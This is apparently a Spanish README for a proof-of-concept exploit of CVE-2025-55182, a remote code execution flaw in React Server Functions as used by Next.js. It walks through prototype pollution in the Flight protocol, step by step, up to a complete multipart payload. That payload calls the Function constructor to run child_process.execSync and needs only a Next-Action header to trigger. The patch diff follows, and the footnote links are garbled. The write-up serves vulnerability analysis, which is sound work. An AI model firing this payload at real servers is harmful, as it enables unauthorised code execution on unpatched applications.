
Exploit de prueba de concepto para CVE-2025-55182, que logra ejecución remota de código en React Server Functions mediante contaminación de prototipos y fragmentos de protocolo Flight manipulados.
Autor original: https://github.com/msanft/CVE-2025-55182
Esta vulnerabilidad permite la ejecución remota de código (RCE) en las Server Functions de React, por ejemplo, las ofrecidas por Next.js a través de referencias inseguras al prototipo.
No soy un experto en React o Next.js, así que toma toda la información aquí con un grano de sal.
React ofrece Server Functions1, que pueden verse como una especie de RPC sobre HTTP. Se pueden utilizar para obtener datos de pares adyacentes para garantizar baja latencia, o realizar solicitudes autenticadas para las que el cliente carece de credenciales.
React utiliza algo llamado el Protocolo React Flight2 para la serialización de valores pasados a las Server Functions.
El cliente pasa "chunks" al servidor, por ejemplo, mediante datos de formulario:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Como se muestra, estos pueden tener referencias entre ellos. El payload anterior se deserializa en lo siguiente en el servidor:
{ object: 'fruit', name: 'cherry' }
El formato en sí es un poco más intrincado y permite una serialización y deserialización más complejas, pero esto proporciona una comprensión básica para la vulnerabilidad real.
Hasta este commit3, al recorrer los chunks en la resolución de referencias, como obtener fruitName del chunk 2 en el ejemplo anterior, React no verificaba si la clave solicitada estaba realmente establecida en el objeto. Esto nos permitía obtener el prototipo del objeto4.
Esto se puede demostrar con un payload como este:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Que se deserializa en el constructor de funciones5:
[Function: Function]
Cuando el chunk con ID 0 no es un array sino un objeto, podemos establecer la clave then al constructor de funciones. El objeto es entonces devuelto por la función decodeReplyFromBusboy y await por Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Cuando esto devuelve un thenable, el await en el llamador lo ejecutará. Esto es lo que sucede con este payload:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Lo que lleva a este error:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
El error se ve así porque V8 llama a una función awaiteada con las funciones internas resolve y reject, las cuales, cuando se les aplica toString, se serializan a algo como esto:
function () { [native code] }
Dado que podemos recuperar trivialmente el constructor Function, la forma más directa es encontrar un gadget de llamada que invoque al constructor con un valor controlado por el usuario (es decir, el código de la función como una cadena), y luego llame a la función devuelta.
Hay varios lugares que pueden llamar al constructor de funciones, por ejemplo resolveServerReference, donde id es un objeto controlado, y lastIndexOf puede sobrescribirse para devolver una cadena controlada por el usuario (por ejemplo, mediante Array.prototype.join) y slice puede sobrescribirse con el constructor de funciones. Sin embargo, este lugar no funciona porque la segunda invocación de .slice() proporciona un número como primer argumento, el cual, hasta donde sé, nunca puede ser manejado por el constructor de funciones.
Aquí entra una idea brillante de maple31426. Cuando getChunk toma el chunk con ID 0 como referencia raíz para comenzar a resolver la cadena de referencias, este mismo chunk puede resolverse a un "falso chunk" manipulado.
Podemos referenciar el chunk manipulado 0 en el chunk 1 usando la sintaxis $@, que devuelve el chunk "crudo", no su valor resuelto:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Combinando esto con nuestra sobrescritura de then de arriba, podemos construir algo como esto:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Aquí, el chunk 0 sobrescribe su propio .then() con el .then() de su propia representación de chunk crudo. En términos simples, sobrescribimos nuestro propio .then() con Chunk.prototype.then, que existe, ya que los Chunks son thenables:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
Con el payload anterior, Chunk.prototype.then es eventualmente llamado con el chunk manipulado con ID 0.
Como se muestra arriba, cuando .status en nuestro chunk falso es resolved_model:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Entramos en initializeModelChunk. Aquí, .value se analiza como JSON, y luego se resuelven las referencias sobre el objeto devuelto, usando el contexto "externo" de nuestros chunks con IDs 0 y 1:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
Dentro de esto, ahora obtenemos una segunda pasada de evaluación con algunos valores más a los que tenemos acceso debido a que el contexto externo ya ha sido resuelto.
Hay un gadget de llamada en el manejo de datos blob con el prefijo $B en el protocolo flight:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
Usando el campo especial _response, controlamos la propiedad response del chunk manipulado:
// in initializeModelChunk
value = reviveModel(chunk._response, // ...
Con esto, podemos construir un objeto con propiedades falsas ._formData y ._prefix:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"return foo; // ",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Es necesario agregar .reason para evitar fallar en la invocación de toString en initializeModelChunk:
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
Al apuntar ._formData al constructor de funciones, y ._prefix a nuestro código, obtenemos un gadget de invocación para el constructor de funciones en la deserialización de blob:
response._formData.get(response._prefix + "0")
// becomes
Function("return foo; // 0")
Nuestra función manipulada es entonces devuelta por parseModelString como el método .then() del chunk manipulado, el cual también es await, ya que todo esto tiene lugar en una única cadena de resolución de promesas. Así, al devolver un thenable, nuestra función manipulada es llamada. Esto constituye el gadget de llamada requerido mencionado anteriormente.
Juntando todo esto con un payload real de RCE, obtenemos algo como esto:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
El extra, que hace que esta vulnerabilidad sea aún peor, es que todo esto ocurre durante la deserialización, antes de que la acción solicitada sea validada por primera vez en getActionModIdOrError. Por lo tanto, establecer un encabezado como Next-Action: foo es suficiente para desencadenar la vulnerabilidad.
El uso de las referencias a chunks para recuperar propiedades del prototipo se corrige con esta comprobación:
@@ -78,7 +80,10 @@ export function preloadModule<T>(
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩
https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E ↩